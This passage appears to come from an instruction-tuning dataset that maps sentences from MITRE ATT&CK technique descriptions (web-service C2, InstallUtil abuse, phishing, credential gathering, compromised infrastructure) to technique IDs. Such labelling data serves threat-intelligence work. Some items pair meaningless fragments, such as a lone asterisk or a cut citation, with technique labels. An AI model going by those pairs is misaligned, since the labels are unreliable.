Input: Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. ### Response: T1102."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.", "output": "T1102", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. ### Response: T1102."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Use of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).", "output": "T1102", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Use of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed). ### Response: T1102."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use an existing, legitimate external Web service to host information that points to additional command and control (C2) infrastructure.", "output": "T1102.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use an existing, legitimate external Web service to host information that points to additional command and control (C2) infrastructure. ### Response: T1102.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses.", "output": "T1102.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. ### Response: T1102.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Once infected, victims will reach out to and be redirected by these resolvers.", "output": "T1102.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Once infected, victims will reach out to and be redirected by these resolvers. ### Response: T1102.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise.", "output": "T1102.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. ### Response: T1102.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise.", "output": "T1102.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. ### Response: T1102.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.", "output": "T1102.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. ### Response: T1102.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Use of a dead drop resolver may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).", "output": "T1102.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Use of a dead drop resolver may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed). ### Response: T1102.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries.", "output": "T1118", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. ### Response: T1118."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: MSDN InstallUtil) InstallUtil is located in the .NET directories on a Windows system: <code>C:\\Windows\\Microsoft.NET\\Framework\\v<version>\\InstallUtil.exe</code> and <code>C:\\Windows\\Microsoft.", "output": "T1118", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: MSDN InstallUtil) InstallUtil is located in the .NET directories on a Windows system: <code>C:\\Windows\\Microsoft.NET\\Framework\\v<version>\\InstallUtil.exe</code> and <code>C:\\Windows\\Microsoft. ### Response: T1118."}{"instruction": "List the MITRE techniques contained in the text.", "input": "NET\\Framework64\\v<version>\\InstallUtil.exe</code>.", "output": "T1118", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: NET\\Framework64\\v<version>\\InstallUtil.exe</code>. ### Response: T1118."}{"instruction": "List the MITRE techniques contained in the text.", "input": "InstallUtil.exe is digitally signed by Microsoft.", "output": "T1118", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: InstallUtil.exe is digitally signed by Microsoft. ### Response: T1118."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility.", "output": "T1118", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. ### Response: T1118."}{"instruction": "List the MITRE techniques contained in the text.", "input": "InstallUtil may also be used to bypass process whitelisting through use of attributes within the binary that execute the class decorated with the attribute <code>[System.", "output": "T1118", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: InstallUtil may also be used to bypass process whitelisting through use of attributes within the binary that execute the class decorated with the attribute <code>[System. ### Response: T1118."}{"instruction": "List the MITRE techniques contained in the text.", "input": "ComponentModel.", "output": "T1118", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ComponentModel. ### Response: T1118."}{"instruction": "List the MITRE techniques contained in the text.", "input": "RunInstaller(true)]</code>.", "output": "T1118", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: RunInstaller(true)]</code>. ### Response: T1118."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: LOLBAS Installutil)", "output": "T1118", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: LOLBAS Installutil) ### Response: T1118."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may obfuscate command and control traffic to make it more difficult to detect.", "output": "T1001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may obfuscate command and control traffic to make it more difficult to detect. ### Response: T1001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen.", "output": "T1001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. ### Response: T1001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.", "output": "T1001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols. ### Response: T1001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may add junk data to protocols used for command and control to make detection more difficult.", "output": "T1001.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may add junk data to protocols used for command and control to make detection more difficult. ### Response: T1001.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By adding random or meaningless data to the protocols used for command and control, adversaries can prevent trivial methods for decoding, deciphering, or otherwise analyzing the traffic.", "output": "T1001.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By adding random or meaningless data to the protocols used for command and control, adversaries can prevent trivial methods for decoding, deciphering, or otherwise analyzing the traffic. ### Response: T1001.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Examples may include appending/prepending data with junk characters or writing junk characters between significant characters.", "output": "T1001.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Examples may include appending/prepending data with junk characters or writing junk characters between significant characters. ### Response: T1001.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may send phishing messages to elicit sensitive information that can be used during targeting.", "output": "T1598", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may send phishing messages to elicit sensitive information that can be used during targeting. ### Response: T1598."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Phishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information.", "output": "T1598", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Phishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. ### Response: T1598."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Phishing for information is different from [Phishing](https://attack.mitre.org/techniques/T1566) in that the objective is gathering data from the victim rather than executing malicious code.", "output": "T1598", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Phishing for information is different from [Phishing](https://attack.mitre.org/techniques/T1566) in that the objective is gathering data from the victim rather than executing malicious code. ### Response: T1598."}{"instruction": "List the MITRE techniques contained in the text.", "input": "All forms of phishing are electronically delivered social engineering.", "output": "T1598", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: All forms of phishing are electronically delivered social engineering. ### Response: T1598."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Phishing can be targeted, known as spearphishing.", "output": "T1598", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Phishing can be targeted, known as spearphishing. ### Response: T1598."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In spearphishing, a specific individual, company, or industry will be targeted by the adversary.", "output": "T1598", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In spearphishing, a specific individual, company, or industry will be targeted by the adversary. ### Response: T1598."}{"instruction": "List the MITRE techniques contained in the text.", "input": "More generally, adversaries can conduct non-targeted phishing, such as in mass credential harvesting campaigns.", "output": "T1598", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: More generally, adversaries can conduct non-targeted phishing, such as in mass credential harvesting campaigns. ### Response: T1598."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also try to obtain information directly through the exchange of emails, instant messages, or other electronic conversation means.(Citation: ThreatPost Social Media Phishing)(Citation:", "output": "T1598", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also try to obtain information directly through the exchange of emails, instant messages, or other electronic conversation means.(Citation: ThreatPost Social Media Phishing)(Citation: ### Response: T1598."}{"instruction": "List the MITRE techniques contained in the text.", "input": "TrendMictro Phishing)(Citation: PCMag FakeLogin)(Citation:", "output": "T1598", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: TrendMictro Phishing)(Citation: PCMag FakeLogin)(Citation: ### Response: T1598."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Sophos Attachment)(Citation: GitHub Phishery) Victims may also receive phishing messages that direct them to call a phone number where the adversary attempts to collect confidential information.(Citation: Avertium callback phishing)\n\nPhishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.", "output": "T1598", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Sophos Attachment)(Citation: GitHub Phishery) Victims may also receive phishing messages that direct them to call a phone number where the adversary attempts to collect confidential information.(Citation: Avertium callback phishing)\n\nPhishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages. ### Response: T1598."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Another way to accomplish this is by forging or spoofing(Citation: Proofpoint-spoof) the identity of the sender which can be used to fool both the human recipient as well as automated security tools.(Citation: cyberproof-double-bounce) \n\nPhishing for information may also involve evasive techniques, such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., [Email Hiding Rules](https://attack.mitre.org/techniques/T1564/008)).(Citation: Microsoft OAuth Spam 2022)(Citation:", "output": "T1598", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Another way to accomplish this is by forging or spoofing(Citation: Proofpoint-spoof) the identity of the sender which can be used to fool both the human recipient as well as automated security tools.(Citation: cyberproof-double-bounce) \n\nPhishing for information may also involve evasive techniques, such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., [Email Hiding Rules](https://attack.mitre.org/techniques/T1564/008)).(Citation: Microsoft OAuth Spam 2022)(Citation: ### Response: T1598."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Palo Alto Unit 42 VBA Infostealer 2014)", "output": "T1598", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Palo Alto Unit 42 VBA Infostealer 2014) ### Response: T1598."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may send spearphishing messages via third-party services to elicit sensitive information that can be used during targeting.", "output": "T1598.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may send spearphishing messages via third-party services to elicit sensitive information that can be used during targeting. ### Response: T1598.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information.", "output": "T1598.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. ### Response: T1598.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.", "output": "T1598.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages. ### Response: T1598.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry.", "output": "T1598.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. ### Response: T1598.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services.(Citation: ThreatPost Social Media Phishing)", "output": "T1598.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services.(Citation: ThreatPost Social Media Phishing) ### Response: T1598.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These services are more likely to have a less-strict security policy than an enterprise.", "output": "T1598.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These services are more likely to have a less-strict security policy than an enterprise. ### Response: T1598.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way.", "output": "T1598.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. ### Response: T1598.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may create fake social media accounts and message employees for potential job opportunities.", "output": "T1598.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may create fake social media accounts and message employees for potential job opportunities. ### Response: T1598.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Doing so allows a plausible reason for asking about services, policies, and information about their environment.", "output": "T1598.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Doing so allows a plausible reason for asking about services, policies, and information about their environment. ### Response: T1598.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also use information from previous reconnaissance efforts (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.", "output": "T1598.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also use information from previous reconnaissance efforts (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures. ### Response: T1598.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "**This technique has been deprecated.", "output": "T1043", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: **This technique has been deprecated. ### Response: T1043."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Please use [Non-Standard Port](https://attack.mitre.org/techniques/T1571) where appropriate.", "output": "T1043", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Please use [Non-Standard Port](https://attack.mitre.org/techniques/T1571) where appropriate. ### Response: T1043."}{"instruction": "List the MITRE techniques contained in the text.", "input": "**\n\nAdversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend with normal network activity to avoid more detailed inspection.", "output": "T1043", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: **\n\nAdversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend with normal network activity to avoid more detailed inspection. ### Response: T1043."}{"instruction": "List the MITRE techniques contained in the text.", "input": "They may use commonly open ports such as\n\n* TCP:80 (HTTP)\n* TCP:443 (HTTPS)", "output": "T1043", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: They may use commonly open ports such as\n\n* TCP:80 (HTTP)\n* TCP:443 (HTTPS) ### Response: T1043."}{"instruction": "List the MITRE techniques contained in the text.", "input": "*", "output": "T1043", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * ### Response: T1043."}{"instruction": "List the MITRE techniques contained in the text.", "input": "TCP:25 (SMTP)\n* TCP/UDP:53 (DNS)", "output": "T1043", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: TCP:25 (SMTP)\n* TCP/UDP:53 (DNS) ### Response: T1043."}{"instruction": "List the MITRE techniques contained in the text.", "input": "They may use the protocol associated with the port or a completely different protocol.", "output": "T1043", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: They may use the protocol associated with the port or a completely different protocol. ### Response: T1043."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), examples of common ports are \n\n* TCP/UDP:135 (RPC)\n* TCP/UDP:22 (SSH)\n* TCP/UDP:3389 (RDP)", "output": "T1043", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), examples of common ports are \n\n* TCP/UDP:135 (RPC)\n* TCP/UDP:22 (SSH)\n* TCP/UDP:3389 (RDP) ### Response: T1043."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search compromised systems to find and obtain insecurely stored credentials.", "output": "T1552", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search compromised systems to find and obtain insecurely stored credentials. ### Response: T1552."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These credentials can be stored and/or misplaced in many locations on a system, including plaintext files (e.g. [Bash History](https://attack.mitre.org/techniques/T1552/003)), operating system or application-specific repositories (e.g. [Credentials in Registry](https://attack.mitre.org/techniques/T1552/002)), or other specialized files/artifacts (e.g. [Private Keys](https://attack.mitre.org/techniques/T1552/004)).", "output": "T1552", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These credentials can be stored and/or misplaced in many locations on a system, including plaintext files (e.g. [Bash History](https://attack.mitre.org/techniques/T1552/003)), operating system or application-specific repositories (e.g. [Credentials in Registry](https://attack.mitre.org/techniques/T1552/002)), or other specialized files/artifacts (e.g. [Private Keys](https://attack.mitre.org/techniques/T1552/004)). ### Response: T1552."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather credentials via APIs within a containers environment.", "output": "T1552.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather credentials via APIs within a containers environment. ### Response: T1552.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "APIs in these environments, such as the Docker API and Kubernetes APIs, allow a user to remotely manage their container resources and cluster components.(Citation:", "output": "T1552.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: APIs in these environments, such as the Docker API and Kubernetes APIs, allow a user to remotely manage their container resources and cluster components.(Citation: ### Response: T1552.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Docker API)(Citation: Kubernetes API)", "output": "T1552.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Docker API)(Citation: Kubernetes API) ### Response: T1552.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may access the Docker API to collect logs that contain credentials to cloud, container, and various other resources in the environment.(Citation: Unit 42 Unsecured Docker Daemons)", "output": "T1552.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may access the Docker API to collect logs that contain credentials to cloud, container, and various other resources in the environment.(Citation: Unit 42 Unsecured Docker Daemons) ### Response: T1552.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary with sufficient permissions, such as via a pod's service account, may also use the Kubernetes API to retrieve credentials from the Kubernetes API server.", "output": "T1552.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary with sufficient permissions, such as via a pod's service account, may also use the Kubernetes API to retrieve credentials from the Kubernetes API server. ### Response: T1552.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These credentials may include those needed for Docker API authentication or secrets from Kubernetes cluster components.", "output": "T1552.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These credentials may include those needed for Docker API authentication or secrets from Kubernetes cluster components. ### Response: T1552.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may compromise third-party infrastructure that can be used during targeting.", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may compromise third-party infrastructure that can be used during targeting. ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Infrastructure solutions include physical or cloud servers, domains, and third-party web and DNS services.", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Infrastructure solutions include physical or cloud servers, domains, and third-party web and DNS services. ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it during other phases of the adversary lifecycle.(Citation:", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it during other phases of the adversary lifecycle.(Citation: ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Mandiant APT1)(Citation: ICANNDomainNameHijacking)(Citation: Talos DNSpionage Nov 2018)(Citation:", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Mandiant APT1)(Citation: ICANNDomainNameHijacking)(Citation: Talos DNSpionage Nov 2018)(Citation: ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "FireEye EPS Awakens Part 2) Additionally, adversaries may compromise numerous machines to form a botnet they can leverage.", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: FireEye EPS Awakens Part 2) Additionally, adversaries may compromise numerous machines to form a botnet they can leverage. ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Use of compromised infrastructure allows adversaries to stage, launch, and execute operations.", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Use of compromised infrastructure allows adversaries to stage, launch, and execute operations. ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Compromised infrastructure can help adversary operations blend in with traffic that is seen as normal, such as contact with high reputation or trusted sites.", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Compromised infrastructure can help adversary operations blend in with traffic that is seen as normal, such as contact with high reputation or trusted sites. ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, adversaries may leverage compromised infrastructure (potentially also in conjunction with [Digital Certificates](https://attack.mitre.org/techniques/T1588/004)) to further blend in and support staged information gathering and/or", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, adversaries may leverage compromised infrastructure (potentially also in conjunction with [Digital Certificates](https://attack.mitre.org/techniques/T1588/004)) to further blend in and support staged information gathering and/or ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Phishing](https://attack.mitre.org/techniques/T1566)", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Phishing](https://attack.mitre.org/techniques/T1566) ### Response: T1584."}{"instruction": "List the MITRE techniques contained in 